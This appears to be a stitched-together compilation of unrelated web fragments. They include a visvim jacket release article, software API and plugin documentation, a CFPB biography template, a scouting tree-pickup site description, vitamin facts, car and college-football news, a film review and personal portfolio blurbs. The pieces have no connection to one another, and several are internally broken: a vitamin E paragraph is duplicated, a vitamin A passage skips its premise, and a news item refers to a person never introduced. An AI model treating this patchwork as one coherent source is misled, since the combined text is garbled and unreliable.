visvim Unveils Reversible Patchwork Iris Liner Jacket
Made from original bandanas.
by Charlie ZhangAs a follow up to visvim‘s monochromatic patchwork button-ups, Hiroki Nakamura‘s stalwart label has returned with a new bandana-clad iteration from its FW19 lineup — the reversible Iris Liner Jacket.
On the exterior side of the jacket, a slew of black and white bandanas have been put together in an intricate patchwork. Native American motifs like saddlebags, sun symbols, coyote tracks, hogans and mountain ranges have been sporadically placed throughout the piece, alongside Victorian-era patterns for an interesting mix. To contrast the black and white shades, cream-colored piping runs along the collars and follows through to the central closure, hem and cuffs. Two welt pockets are placed at the front, complemented by an additional two that are placed on the obverse side of the jacket. Flipped inside out, sketch-like drawings of people and horses have been illustrated over a light beige fabric base. The central closure features four buttonholes that can be hooked onto a large parka, while contrasting bandana panels around the upper forearms and Swiss riri zippers have been added as finishing touches.
visvim’s reversible patchwork Iris Liner Jacket is currently available at visvim.tv for $1,870 USD.
Elsewhere, Yuketen has released vintage Americana-inspired FW19 jewelry.
visvim Iris Liner Jacket
Release Date
November 19, 2019 - 12:00 am EST (TBC)
Price
1870 USD


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Singleton Display instance. |
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The list of available locales. |
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Your project's package configuration. |
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Static Public
public locales: Array<string> source
import {locales} from '@mixer/cdk'
The list of available locales. This is populated when the build is run
with the cdk-webpack-plugin and contains the files in the configured locale
folder. For example, this might be set to ['en', 'es']
if you have English
and Spanish translation files.
public log: {"debug": function, "info": function, "warn": function, "error": function} source
import {log} from '@mixer/cdk'
log
has methods to capture messages from your controls. These'll be
exposed in the miix UI, and we will continue to build further telemetry
around them.
public navigation: Navigation source
import {navigation} from '@mixer/cdk'
Singleton Navigation instance.
public packageConfig: IPackageConfig source
import {packageConfig} from '@mixer/cdk'
Your project's package configuration.


Installation
Using your Operating System:
- Run the installer program for Windows. This should copy
all the files to the proper location automatically.
From within Maya:
- From the menu, choose: Window > Settings/Preferences
> Plug-in Manager...
- Look for nifTranslator.mll in the list of available
plug-ins and check the two boxes next to loaded and auto load.
You should now be able to use the File > Open Scene..., File >
Import..., and File > Export All... commands with NIF files. You
can access the configuration options by choosing the option box
()
rather than clicking the words.


{% extends 'layout-side-nav.html' %} {% import '_vars-the-bureau.html' as vars with context %} {% set active_nav_id = 'about-deputy-director' %} {% set breadcrumb_items = vars.breadcrumb_items %} {% block title -%} About David Silberman | Consumer Financial Protection Bureau {%- endblock %} {% block desc -%} David Silberman currently serves as the acting deputy director as well as the associate director of the Research, Markets, and Regulations Division at the Consumer Financial Protection Bureau. {%- endblock %} {% block content_main_modifiers -%} {{ super() }} content__flush-bottom {%- endblock %} {% block content_main %} {% import 'molecules/social-media.html' as social_media %}
David Silberman currently serves as the acting deputy director as well as the associate director of the Research, Markets, and Regulations Division at the Consumer Financial Protection Bureau.
Prior to joining the CFPB in 2010, Mr. Silberman served for 12 years as general counsel and executive vice president of Kessler Financial Services, a privately held company focused on providing advisory services in developing and marketing financial service products through distribution partnerships. Mr. Silberman’s involvement with consumer financial services began when, as deputy general counsel of the AFL-CIO, he created and then served as president and chief executive officer of Union Privilege, an arm of the AFL-CIO responsible for sponsoring and overseeing the delivery of financial services to union members.
Mr. Silberman began his career as a law clerk to Justice Thurgood Marshall and then as a member of the law firm Bredhoff & Kaiser. Mr. Silberman is a graduate of Brandeis University and Harvard Law School.
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ble-firmata
BLE state:
digitalWrite 13pin:
analogRead 0pin:
https://github.com/shokai/node-ble-firmata


Works
| easytag |
EasyTag is a cloud-based software which offers businesses a unified perspective of the current status of any inbound or outbound order. At the core of EasyTag is a system driven by tagging virtually everything including shipments, invoices, purchases orders and merchandise. By merely scanning these tags, company members are able to efortlessly log their progress on filling any given orders. Behind the screens, EasyTag has a robust network of backend services which monitor and analyze the state of its user's orders. At EasyTag my core responsibilities involve driving feature development and assuring availability as well as reliability of our service's cloud backend infastructure. Our services are deployed primarily on Linux-based servers and are distributed on the Amazon Web Services platform. In addition to our server-side offerings, I have also driven development of the native EasyTag Android client as well as the web-application offering. |


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Everyone in this group will upload videos and GPS records to same channel.


Test files without 2 passes: 1; Subtests without 2 passes: 1; Failure level: 1/67 (1.49%)
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| /resource-timing/idlharness.html (1/31, 3.23%, 1.49% of total) | OK | OK |
| PerformanceResourceTiming interface: existence and properties of interface prototype object | FAIL | PASS |


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3 simple rules to follow:
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Airbrake is basically wrapped around a begin rescue block… The app doesn’t break AND the error is sent to the application.
 - Solution: rebuild a dashboard to ignore the errors or use airbrake to config their own errors.
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Keep running into the deep_merge undefined method. According to their specs, Airbreak assumes that the gems in the specs should be included in the library. They assume that people won’t be using this outside of rails, which is a big assumption.
HashieMashie- hashes behave as both as regular hash and as an object
Once the proper gems are required it works properly. If this library had corrected all of the dependencies in it’s stand along library, this would have been fine…
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your name
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{{> head}}
{{> nav}}Many Boy Scout Troops across the country raise money for Scouting activities by collecting and recycling Christmas trees in their community for a nominal donation. During these fundraisers, adult drivers can use this website via their smartphones to mark the location of each tree pickup quickly and easily. The event coordinator can monitor each driver's progress as tree pickups are updated real-time on the map.
 Pop some Excedrin and grab another cup of coffee.
BE SAFE! Don't use your smartphone unless your vehicle is completely stopped. Don't allow yourself any distractions while your vehicle is in motion.
Next, navigate to the Mark a Pickup page on your smartphone and set it next to you in the car. Each time you stop to pick up a tree, hit the "Mark a Pickup" button, and the website will record the location and time of the pickup. You can tag your pickups to identify them as yours - just use the "Change Tag" link to change your tag to something like "Mike's Car", or "Raven Patrol".
The only tricky part is "enabling location services" on your phone, which tells your phone it's ok to give away your location information. Many folks turn off location services out of privacy concerns, and for good reason. However, it must be turned on if you're going to use this website. If you need help, here are some articles for various types of smartphone operating systems:
If you're the event coordinator, use the map to zoom in on your community. As drivers mark each tree pickup, a small tree icon will appear on the map. If you hover over a tree icon with your mouse, you'll see the date and time of that pickup, and you'll see the tag, such as "Mike's Car" or "Raven Patrol", that your driver is using (see above).
It's a pain to type that long address into my tiny smartphone browser. No problem - use this address instead (note that it is case-sensitive): http://bit.ly/YuqXLa
Sure! Creating this site was another way for me to donate some time to Scouting. However, I'm using the "free" level of service offered by the web hosting and database services that this site needs. This level of service does not support heavy traffic and high reliability like a commercial site. As a result, the site may occasionally seem slow, or temporarily stop working altogether. Also, if we use up the limited database capacity, I may arbitrarily delete old data to free up some room. Finally, I'll do my best to keep the site running, but I won't always have time to jump on a problem when it comes up.
This site is hosted by Heroku, and is built on node.js using the express web framework. Data is stored in a MongoDB database hosted by MongoHQ. Pages are built with the help of the outstanding Bootstrap framework and rendered using Handlebars templates. The whole thing is written in JavaScript and HTML5, and the source code is available on GitHub.
Matt Skone is an Assistant Scoutmaster with his local BSA Troop. When he's not hiking or camping, he's writing code and wishing he was. Connect with him on LinkedIn, Twitter or GitHub.


Your position
What is your position?
Professional
Professional information
Professional category
Consultant
Employment information
Job title
Recruitment consultant
Department
Human resources
Organisation
Leeds City Council
Work telephone number
0113 1234123
Work information
Address
Leeds City Council, Merrion House
Merrion Way
Leeds
LS2 8PD
Contact details
Name
John Doe
How would you like to be contacted?
Email<EMAIL_ADDRESS>Telephone: 0113 1234123
Age groups of interest
Select the age groups you would like to recieve information about
- Pre-school (0-4 years)
- Primary school age (4-11 years)
Topics of interest
Select the topics you would like to recieve information about
- Accident prevention
- Mental health
Additional details
How did you hear about the Public Health Resource Centre?
I read about it online.
Disclaimer
Do any of the disclaimer points listed above relate to yourself?
No


- handleMove(PlayerMove) - Method in class it.polimi.se2018.controller.Controller
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Handle player's move.
- handleMove(PlayerMove) - Method in class it.polimi.se2018.controller.GameManager
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Handle the player's move.
- handleMove(PlayerMove) - Method in class it.polimi.se2018.controller.RoundManager
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Handle the player's move.
- handleMove(PlayerMove) - Method in class it.polimi.se2018.controller.ToolCardController
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Applies the player's move on the first operation of the ops Queue.
- handleMove(PlayerMove) - Method in class it.polimi.se2018.controller.TurnManager
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Process a move of the player.
- handleNormalMove(Player, PlayerMove) - Method in class it.polimi.se2018.controller.TurnManager
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HELPER: Handles a normal move
- handlePatternChoice(String, int) - Method in class it.polimi.se2018.network.server.Lobby
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This method creates the equivalent Board object from the loaded pattern and it gives it to the player
- handlePickAndPickFromBoardEmpty - Static variable in class it.polimi.se2018.controller.ToolCardController.Operations
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- handlePickState(Match) - Method in class it.polimi.se2018.view.gui.MatchController
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Activate each container cell that is said to be active in `newMatch`
- handleQueueRequest(QueueRequest) - Method in class it.polimi.se2018.network.server.Server
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Add new player to the queue.
- handleToolcardMove(Player, PlayerMove) - Method in class it.polimi.se2018.controller.TurnManager
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HELPER: Handles a toolcard move
- hasDiagonalSameColor(int, int, Board) - Static method in class it.polimi.se2018.model.PublicObjCard.CardInfos
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Check if a die on a board has at least one diagonal neighbour of the same color
- hasError() - Method in class it.polimi.se2018.model.PlacementError
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Check if it has any error inside the enumset
- hasErrorFilter(Set<Flag>) - Method in class it.polimi.se2018.model.PlacementError
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- hasNoErrorExceptEdge() - Method in class it.polimi.se2018.model.PlacementError
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- hasNoErrorExceptEdgeFilter(Set<Flag>) - Method in class it.polimi.se2018.model.PlacementError
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Vitamins are chemical molecules that are required in little amounts by humans. Having insufficient amounts of any vitamin can increase the chance of acquiring certain health problems. The majority of vitamins must be obtained from food because the body either does not create them or generates just a little amount.
Vitamin A specifically is necessary for maintaining healthy eyes, good vision, healthy skin, and helps you fight off infection. Over time, this can lead to numerous health concerns including vision problems, decreased immunity, and death. Severe deficiency is much more common in countries experiencing challenging socioeconomic conditions as well as limited to no access to vitamin A-rich foods.
Vitamin B12 deficiency may lead to a reduction in healthy red blood cells (anemia). The nervous system also may be affected. Diet or certain medical conditions may be the cause.
Vitamin C is a water-soluble vitamin that is naturally present in some foods, added to others, and available as a dietary supplement. Humans, unlike most animals, are unable to synthesize vitamin C endogenously, so it is an essential dietary component.
Vitamin D is a fat-soluble vitamin that is naturally present in a few foods, added to others, and available as a dietary supplement. It is also produced endogenously when ultraviolet rays from sunlight strikes the skin and triggers vitamin D synthesis. Vitamin D obtained from sun exposure, foods, and supplements is biologically inert and must undergo two hydroxylations in the body for activation.
Vitamin E is an essential component for eyesight, reproduction, and blood, brain, and skin health. It functions as an antioxidant in the body, helping to protect cells from free radical damage. Vitamin E is also required for the body's immune system to fight off invading germs and viruses. It aids in the widening of blood vessels and the prevention of blood clotting inside them.
Vitamin E is an essential component for eyesight, reproduction, and blood, brain, and skin health. It functions as an antioxidant in the body, helping to protect cells from free radical damage. Vitamin E is also required for the body's immune system to fight off invading germs and viruses. It aids in the widening of blood vessels and the prevention of blood clotting inside them.


Chevrolet Has A Corvette Stingray Problem You Can Help Solve
Good news for C7 fans.
by Ian WrightFor those not convinced about the new C8 Corvette, we have good news. There's a couple of reasons to hold off, maybe even a couple of years, on investing in the new Corvette platform. It's a whole new approach to building a Corvette, and, like any new model, there will likely be issues to be ironed out. Then there's going to be dealers increasing their profit margin for a new and very much in demand car. Some Corvette fans simply don't want a mid-engined Corvette, so the last 5,025 available from dealers lots will be the last chance to pick up a new C7 model brand new.
The information comes via Corvette Blogger and from a website called eInventoryNow.com that aids dealerships in managing their automotive inventories. The most recent update as of writing shows that the nationwide inventory for C7 Corvettes is at 5,025 units. That adds up to a 122-day supply at the rate they are selling right now and means supply will run out just as the delayed C8 Corvette finally becomes available. The last C7 Corvette, a Z06, has already rolled off of the production line and is headed to a charity auction, so this really is it once the stragglers get to the dealers.
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The chances are that C7 Corvette shoppers can get a decent discount for now as the majority are waiting for the new model. How good of a deal we'll have to keep an eye out for as it is an end-of-an-era car. Currently, Chevy is offering a $3,000 Loyalty Bonus, so it will depend on the take-rate and how urgent getting rid of them becomes as to whether that offer gets better or disappears entirely. There's no breakdown of what models are currently available, so anyone wanting a specific trim and color is going to have to do some detective work and possibly have to travel to pick it up.


SIP Load Generator (ElGee).
ElGee is an implementation on top of the Vovida SIP stack, base code, util and other supporting libraries that genrates SIP calls for load and stress testing. You can test SIP calls originating from ElGee against a SIP proxy server or any other SIP UAS.
This release of ElGee comes with enhanced features:
This release of ElGee supports three running modes :
Originating
Registration
Terminating
These running modes allow for stress load generation to simulate large number of SIP clients.
ElGee supports both transport protocols. for originating/registration mode, sample message should specify the transport param in headers, while in terminating mode it listens for both. you can use ElGee more flexibly by using a config file. see the included elgee.conf for different configurable parameters


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so that she can cover the element, the
second parameter is finally the background
that we want a see on the border
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we indicate that our background will
cover our element.background-clip
instruction allow us to show the
background
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specify the origin
of the image.


13.4
Questions
1. Why are food chains especially useful for describing the relationships of specialists?
Answer: Specialists have specific diets that include only one type of organism, which produces a simple food chain.
2. What happens to energy as it flows through a food web?
Answer: As energy flows through a food web, the amount of energy obtained by the next trophic level is 10% of the previous level.
3.  What danger does a specialist face that a generalist (opp. of a specialist) does not?
Answer: A specialist's only source of energy can become extinct or go endangered, thus forcing the specialist's species to starve.
4. How might the stability of an ecosystem be affected if all of the decomposers were suddenly removed?
Answer: There would be no way of returning nutrients to the Earth, thus causing the Earth's soil to be depleted of nutrients, causing plants to die. The death of the plants would cause the consumers to die as well, leaving Earth lifeless.
5. How might an oil spill in the ocean affect an aquatic food web? What might happen to the food web on land located near the spill? Explain your answers.
Answer: An oil spill could kill the fish in an ecosystem, or it might block the sunlight from view. If either of these happen, the food web would be thrown into whack, and eventually the entire system might disappear. The plants or animals on land nearby would drink that water and die from the oil in the water. This would cause that food web to disappear as well.


Burrow throws 5 TDs, No. 1 LSU beats Mississippi 58-37
by CHRIS BURROWSOXFORD, Miss. (AP) - Joe Burrow’s postgame shrug pretty much summed up what kind of a season it has been for LSU.
“You know things have changed at LSU when you have 700 yards of total offense and everybody is upset in the locker room,” the Heisman Trophy front-runner said.
Burrow threw for a career-best 489 yards and five touchdowns as top-ranked Tigers built a big lead and held off Mississippi 58-37 on Saturday night.
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Coming off an emotional 46-41 home win at Alabama last week, the Tigers (10-0, 6-0 Southeastern Conference) scored on four of their first five possessions jump out to a 28-0 lead over the Rebels (4-7, 2-5).
The teams combined for 1,328 yards of total offense, including 714 by the Tigers. Burrow completed 32 of 42 passes, including touchdown passes of 34, 51 and 61 yards to Ja’Marr Chase (227 yards) and 12 and 7 yards to Justin Jefferson (112 yards).
“It wasn’t pretty, but we did it after a big win last week,” LSU coach Ed Orgeron said. “We came in here to win a football game and we won by 21 points. We’re 10-0 and I’m very proud of that.”
Burrow completed 17 consecutive passes at one point to set a school record and passed Rohan Davey’s single-season school record for yards passing set in 2001. He threw two interceptions in the second half as Ole Miss climbed closer, but put the game away with a 61-yard touchdown pass to Chase with 5:11 remaining.
Chase tied the school record with his 12th touchdown catch of the season.
“I thought he (Burrow) was on fire, especially in the first half,” Orgeron said. “He made a lot of plays and extended some plays with his feet. He’s a great athlete.”
Clyde Edwards-Helaire capped the scoring with a 49-yard touchdown run with 3:08 left and finished with 174 yards rushing on 23 carries.
“We dug ourselves too deep a hole,” Ole Miss coach Matt Luke said. “We had a chance to get it to a one possession game, but we never could get there.”
Ole Miss freshman quarterback John Rhys Plumlee had 212 yards rushing yards, a school record for a quarterbacks, and three touchdowns and was 9 of 16 passing for 123 yards.
“We couldn’t stop him but we won the football game,” Orgeron said. “(Burrow) broke a record and so did Ja’Marr. We’re going to get better. I have to remind them (team) to enjoy the win.”
Reserve quarterback Matt Corral connected with Elijah Moore on a 55-yard touchdown pass in the final period.
THE TAKEAWAY
LSU: The Tigers set the tone with the early touchdown barrage and eliminated the thought of a road upset.
Ole Miss: The Rebels got big runs from Plumlee and Jerrion Ealy (13 carries for 141 yards), but were 2 of 11 on third down conversions and 1 of 4 on fourth down conversions. The Rebels pulled within 11 points midway through the third quarter, but never got any closer.
POLL IMPLICATIONS
LSU’s impressive first half performance should be enough to remain No. 1 in next week’s poll.
UP NEXT
LSU: Hosts Arkansas in the first of a season-ending, two-game home stand on Saturday. The Tigers can clinch the SEC West with a victory.
Ole Miss: Visits Mississippi State for the in-state rivalry Egg Bowl on Nov. 28.
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We divide digital projects into five primary components:
1 Data
Data is the expression of the source information, knowledge, and expertise of our researchers. The following principles apply to data:
1.1 Data is stored only in formats that conform to open standards and that are amenable to processing (TEI XML, GML, ODF, TXT).
1.2 Data is subject to version control (Subversion, Git).
1.3 Data is continually subject to validation and diagnostic analysis.
2 Documentation
2.1 Data models, including field names, descriptions, and controlled values, should be clearly documented in a static document that is maintained with the data and forms part of the products.
2.2 All rights and intellectual property issues should be clearly documented. Where possible the Data and Products should be released under open licenses (Creative Commons, GNU, BSD, MPL).
3 Processing
Processing code is written and maintained by the project technical staff, and is also subject to version control. Processing code provides all the following functions:
3.1 Relentless validation: all processing includes validation/linting of all inputs and outputs and all validation errors should exit the process and prevent further execution until the errors are resolved.
3.2 Continuous integration: any change to the source data requires an entire rebuild of the site (triggered automatically where possible).
3.3 Code is contingent: while code is not expected to have significant longevity, wherever possible, all code should follow Endings principles for data and products.
4 Products
Products are the project outputs intended for end-users, typically in the form of websites or print documents. The following principles apply to products intended for the web:
4.1 No dependence on server-side software: build a static website with no databases, no PHP, no Python.
4.2 No boutique or fashionable technologies: use only standards with support across all platforms, whose long-term viability is assured. Our choices are HTML5, JavaScript, and CSS.
4.3 No dependence on external libraries or services: no JQuery, no AngularJS, no Bootstrap, no Google Search.
4.4 No query strings: every entity in the site has a unique page with a simple URL that will function on any domain or IP address.
4.5 Inclusion of data: every site should include a documented copy of the source data, so that users of the site can repurpose the work easily.
4.6 Massive redundancy: every page contains all the components it needs, so that it will function without the rest of the site if necessary, even though doing so means duplicating information across the site.
4.7 Graceful failure: every page should still function effectively even in the absence of JavaScript or CSS support.
These principles are tempered by the following concessions:
4.8 Once a fully-working static site is achieved, it may be enhanced by the use of other services such as a server-side indexing tool (Solr, eXist) to support searching and similar functionality.
4.9 The use of an external library may be necessary to support a specific function that is too complex to be coded locally (such as mapping or cryptography). Any such libraries must be open-source and widely-used, and must not themselves have dependencies.
5 Release Management
Release management handles the public release of products. These principles apply to release management:
5.1 Releases should be periodical and carefully planned. The “rolling release” model should be avoided.
5.2 A release should only be made when the entire product set is coherent, consistent, and complete (passing all validation and diagnostic tests).
5.3 Like editions of print works, each release of a web resource should be clearly identified on every page by its build date and some kind of version number.
5.4 Web resources should include detailed instructions for citation, so that end-users can unambiguously cite a specific page from a specific edition.
5.5 URLs for individual resources within a digital publication should persist across editions. Any moved, retired, or deleted resources no longer available at a previously accessible URL should be redirected appropriately.


Sentiment analysis is an interesting thing!
In efforts to put this concept into practice, I devised my own sentiment analysis algorithm in Python using attributes such as words, word lengths, word stems, and sentence lengths to calculate a similarity score all without any use of libraries.
I chose to apply this algorithm to trending hashtags on Twitter and discovered that the algorithm was accurate in determing whether or not certain tweets were associated with positivity or negativity. The text classification tool I built can generally be applied to any model so long as the input is the form of text file.
The most challenging aspect of this project was working with an API in order to access data. I found that in terms of accessing tweets via the Twitter API, the easiest way to do so was to import the tweepy library within Python. This especially made it much easier to access tweets by hastag. A script that illustrates this process is linked in in my paper below.


com format
the com files are raw binary executables and are a leftover from the old cp/m machines with 64k ram. a com program can only have a size of less than one segment (64k), including code and static data since no fixups for segment relocation or anything else is included. one method to check for a com file is to check if the first byte in the file could be a valid jump or call opcode, but this is a very weak test since a com file is not required to start with a jump or a call. in principle, a com file is just loaded at offset 100h in the segment and then executed. offset count type description 0000h 1 byte id=0e9h id=0ebh those are not safe ways to determine wether a file is a com file or not, but most com files start with a jump. further information not available. extension:com occurences:pc see also:exe,mz exe,ne exe |


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Yearnotes - 2019
A few 2019 highlights. I feel like I learned more in 2019 than the previous 2-3 years combined, which suggests...
I rebuilt my website the hard way
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I used Eleventy to rebuild my website, and had a bit a headache getting it deployed...
Weeknotes, 14-20 Oct 2019
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Digitising death 1/2 – solving problems for bereaved families
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Why giving users a choice in UX research can be a bad idea
In my last post I wrote about “choice blindness”, the principle, supported by research...
UX and the death of It Seemed Like A Good Idea At The Time
Many businesses suffer from the ‘it seemed like a good idea at the time’ syndrome, where software...
The worst error message in the airport
When it comes to errors, error prevention – through great UX and well-built code...
Design for print – achieving the best colours and blacks
I digress from the usual topic of UX to share some lessons from my recent foray into design for print...
Poor error prevention. Stressful evening. Thanks a lot, Apple.
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The power of UX benchmarking
Measuring the success of UX work for an e-commerce site with millions of hits...
Sainsbury’s, don’t make me think
Steve Krug’s “Don’t Make Me Think” was the first book I read on usability...
Build services not websites - design principles from GOV.UK
I’m a little bit in love with GOV.UK. It’s the behemoth online home of the UK government...
Household heuristics – why a flashing light is good UX
Instinctively, we all want software and products that just work. Confusion, frustration...
A few fabulous UX lessons from NUX4
Yesterday was the fourth Northern User Experience conference in Manchester...
How businesses can learn from ‘implementation, representation and mental’ models
I’m a big fan of this diagram as a way of summing up the role of user experience in businesses...
Is one ‘persona’ ever enough?
‘Personas’ are fictional characters representing amalgamations of user-groups...
Clickable progress bars - why different user groups produce different results
My current client asked me to conduct usability reviews into two of its systems...
Managing unsolicited feedback during a user experience review
I recently completed the first stage of a structured user experience review, following...
UX vs graphic design
There’s a feeling within the company I’m working for that I am – or should be...
A couple of positive user experience experiences
So, it’s been a couple of weeks sprinkled with some joyous things from the world of...
Farewell to a law firm’s trailblazing online probate service
Prob8.co.uk is offline. If you haven’t heard of it, let me explain why it was noteworthy...


Apple cancels premiere of ‘The Banker' over ‘concerns'
by JAKE COYLE, AP Film WriterNEW YORK (AP) - Apple has canceled the premiere of one of the tech company's first original films, "The Banker" the day before it was to debut at Los Angeles' AFI Film Festival.
In a statement Wednesday, Apple said that last week it learned of "some concerns" surrounding "The Banker" and needs "some time to look into these matters." An Apple spokesperson declined to elaborate.
The based-on-a-true-story film stars Samuel L. Jackson and Anthony Mackie.  In 1968, Garrett was convicted of misusing bank funds.
The film is Apple's boldest step yet into moviemaking. A theatrical release is scheduled for Dec. 6, after which it would be a part of the company's new streaming service, Apple TV Plus.
AFI said it would replace "The Banker" with a screening of Noah Baumbach's Netflix release "Marriage Story" as its closing-night film.
Copyright 2019 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


Usage
Include the stylesheet on your document's <head>
Scroll Animated use a style with animations based in Animate.CSS
<link rel="stylesheet" href="scrollAnimated.css">
Include the javascript on your document’s
<script src="/scrollAnimated.js" type="text/javascript"></script>
Initialize Scroll Animated
var myElement = new ScrollAnimated('.myElement', 'effect', duration, delay);
Demo
fadeIn
fadeInUp
fadeDown
fadeLeft
fadeRight
License
Scroll Animated is licensed under the MIT license. (http://opensource.org/licenses/MIT)
Contributing
Pull requests are the way to go here. All changes should be committed to src/ files. I only have two rules for submitting a pull request: match the naming convention (camelCase, categorised [fades, bounces, etc]) and let us see a demo of submitted animations in a pen. That last one is important.


Warehouse Keeper Sorint:
Aye, how time does fly! It seems like only yesterday that you joined our Coin Collectors Club, and here you are already bucking to be A-Grade 1 Member! 'Tis easier to beard a dragon in his lair than it is to earn A-Grade 1 Member Certificate, though. Still, I like the looks o' you — just don't let me down.
Your task, if you're up to it, requires you to collect some very special coins.


Bricks - ECK - IEF
Karl Kedrovsky
Motivation
Component based page layouts content managers find easy to use
What's In The Can
A new entity type - Brick
A drag-and-drop interface to arrange Bricks...
including multi-level nesting. Woot.
Easy reuse of individual Bricks
What You Need
Bricks 8.x-1.4 (latest)
ECK 8.x-1.x-dev
IEF 8.x-1.0-beta1 (latest)
ERR 8.x-1.2 (latest/optional)
Note On ECK
The latest release renders content differently than the dev version.
Couldn't get the without() Twig filter to work on 8.x-1.0-alpha3.
Compared To:
Paragraphs
Can't reuse paragraphs
Bricks has drag and drop interface for nesting
Paragraphs may be slightly easier to set up
Both translatable and revisionable
Bricks (ECK) entities have URLs, Paragraphs don't
Compared To:
Nodes and Entity Reference
Nodes and entity references come with Drupal core
Pages and components managed in the same manner
A bit of set up needed to make this easier
Nodes are reusable
Could argue nodes are heavier
Both translatable and revisionable
Both have URLs to individual components
Demo
Links
Bricks
Bootstrap Paragraphs Session From DrupalCon 2017
Bootstrap Paragraphs Module


interface RulesRegistryInterface
Contains the rules for validation.
Methods
| RulesRegistryInterface |
message(string $rule, string $message)
Set the default message of a rule. |
|
| RulesRegistryInterface |
messages(array $rules)
Set an array of rules messages. |
|
| string |
getMessage(string $rule)
Get the default message of a rule. |
|
| RulesRegistryInterface |
register(string $rule, callable|string $object)
Register a rule. |
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| RulesRegistryInterface |
registerNamespace(string $namespace)
Register a namespace. |
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| Rule |
getRule(string $rule, array $params = array())
Get a rule instance. |
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| string |
getRuleName(Rule $rule)
Get the name of a rule. |
Details
at line 15
public RulesRegistryInterface
message(string $rule, string $message)
Set the default message of a rule.
at line 22
public RulesRegistryInterface
messages(array $rules)
Set an array of rules messages.
at line 29
public string
getMessage(string $rule)
Get the default message of a rule.
at line 37
public RulesRegistryInterface
register(string $rule, callable|string $object)
Register a rule.
at line 44
public RulesRegistryInterface
registerNamespace(string $namespace)
Register a namespace.
at line 52
public Rule
getRule(string $rule, array $params = array())
Get a rule instance.
at line 59
public string
getRuleName(Rule $rule)
Get the name of a rule.


THE BIG LEBOWSKI An Incompetent Film Review by David Kerr Copyright 1998 David Kerr
Rating: ***/****
Starring: Jeff Bridges, John Goodman, Julianne Moore, Steve Buscemi 1998, R, 115 minutes
The Coen Brothers latest offering is sure to please fans of their older works, especially Raising Arizona. Directed by Joel Coen, produced by Ethan Coen, and created by both, this is the team that brought last year's smash Fargo.
I liked Fargo, but The Big Lebowski is not like Fargo at all, except for that ol' Coen Brothers style. Everything that the Coens have done has been wierd and over the top, and The Big Lebowski is no exception.
The story is about The Dude (Jeff Bridges) who comes home one fateful day to find two thugs awaiting to collect money from one Jeff Lebowski. After roughing up The Dude a bit and urinating on his carpet, the thugs realize that they have the wrong guy. The Dude's name is Jeff Lebowski, but there are two Jeff Lebowskis and the one they want is supposed to be a millionaire living in a mansion.
The Dude is upset over his carpet. "It was the centerpiece of the apartment" exclaims his veteran bowling buddy Walter (John Goodman). The Dude wants compensation for his rug, but when he asks for it he gets much more than he bargained for. He is drawn into a web of deciet, lies, kidnappings, car chases, feminism, porn movies, and nihilism.
And in the midst of all this chaos, The Dude is relaxed. He is the "laziest man in Los Angle-ees" explains narrator Sam Niell. After an afternoon of madness, The Dude returns to his bowling tournament, with partners Walter and Donny (Steve Buscemi).
This movie isn't a laugh fest, although there are a few instances of extreme craziness that push the viewer over the edge. One scene comes to mind, when The Dude is decoding a secret message that turns out to be a rude drawing. I don't want to give it away, but it is quite funny, and for some reason reminded me of a line from The Long Kiss Goodnight.
What is the point of this movie? Glad you asked. I am not really sure. As far as I can make out, this is just a week in the life of The Dude. The Dude gets a rabid marmet thrown on him while taking a bath and doesn't think much of it. He goes bowling, and returns home to the chaos. The Dude isn't a nihilist, but the ultimate message is nihilism - who cares? Nothing really matters in this movie. The Dude is a poke and prod kinda guy who reacts to external stimuli. Ironically the nihilist gang members are the most concerned about their welfare in this movie.
As Homer J. Simpson said, there is no moral of the show, it is "just a bunch of stuff that happened". Relax, sit back, and watch. Unlike movies where this is the case because the movie has no substance, this film is deliberately made to be nothing more than a set of events.
I have to say I enjoyed this movie, but it is definitely not for all tastes. Watch Raising Arizona before seeing this. If you loved it, you'll at least be in for a treat with the Big Lebowski. I liked it, but I can't say I'm dying to go see it again. I got my money's worth, which is a good thing these days. Besides, it's worth it to see Peter Stormare play a porno star... if only for a few hilarious seconds.
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Krakow Ukulele & Sing Tuesdays
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I am a Responsive Designer & Developer who thrives on visual storytelling and the best user experience. When I'm not working, I love to explore the outdoors in the beautiful mountains of Colorado.
I was born and raised in Sydney, Australia. Growing up I loved spending time around the water. However every year we ventured to the Snowy Mountains to go skiing, this was my yearly highlight and I cherished every minute of it. When I graduated college I was fortunate enough to work and travel to Colorado, it was then that I fell in love with the Rocky Mountains and I now live.
My Passion: The great outdoors; I love spending time outside and skiing, biking and hiking are my favorites. However, I also love to curl up with a good book and my dog Smokey.
A fun fact: I learnt to ski when I was 3 years old and have skied ever since. My grandmother was passionate about skiing and after WWII she immigrated to Australia, where she was drawn to the mountains to pursue her passion, skiing. Skiing runs in my blood!


Before Change
return likelihood(node, evidence)
node_expectations = {type(leaf): leaf_expectation for leaf in get_nodes_by_type(marg_spn, Leaf)}
node_expectations.update({Sum: lambda x, c, input, dtype: sum_expectation(x, c, input, moment=moment, dtype=dtype),
Product: lambda x, c, input, dtype: prod_expectation(x, c, input, moment=moment, dtype=dtype)})
After Change
// if we have evidence, we want to compute the conditional expectation
else:
raise NotImplementedError("Please use a conditional SPN to calculated conditional expectations")
return expectation


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This page illustrates two simple implementation of the library.
See full documentation on GitHub.
Basic usage
Try to zoom with your mouse wheel and drag on the below image.
Fired event: ""
Event handling
This example shows a simple implementation of event handling:
- if you zoom one of the image, the same zoom level is applied to the other one;
- if you drag on one of the image, the same drag is applied to the other one.
- if you drag on one of the image, the same drag is applied to the other one, WHEN DRAG IS ENDEND.


When testing an input of an application (such as a textbox), we need to make sure we have enough tests to know for sure that the feature works as expected.
If we have enough tests to cover every scenario, this would mean we have 100% test coverage which is perfect.
Equivalence partitioning is a great way to work out the tests we need to gain maximum coverage.
In equivalance partitioning, we split Valid and Invalid scenarios into groups called Partitions.
Click on the Example partitions tab to see an example.
Let's say we have a Username textbox with the following rules:
There are 3 chunks we can create here:
| Invalid | Valid | Invalid |
|---|---|---|
| 0-1 | 2-10 | 11+ |
| Whether the length of the username is 0 or 1 characters long, the validation will show the username as invalid. | Where the length of the username is 2, 3, 4, 5, 6, 7, 8, 9 or 10 characters long, the validation will show the username as valid. | For any username more than 10 characters long, the validation will show the username as invalid, whether the length is 11, 12, 100, 10,000 and so on. |
Write some text in the textbox to see the error messages:


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HI, I am Robert Bundi
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Front end developer who writes clean,elegant and efficient code.
I make fun web-stuff
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Product designer specialising in UI design and design systems


Maccabi Tel Aviv midfielder Emmanuel Boateng returns to training after six weeks out with injury
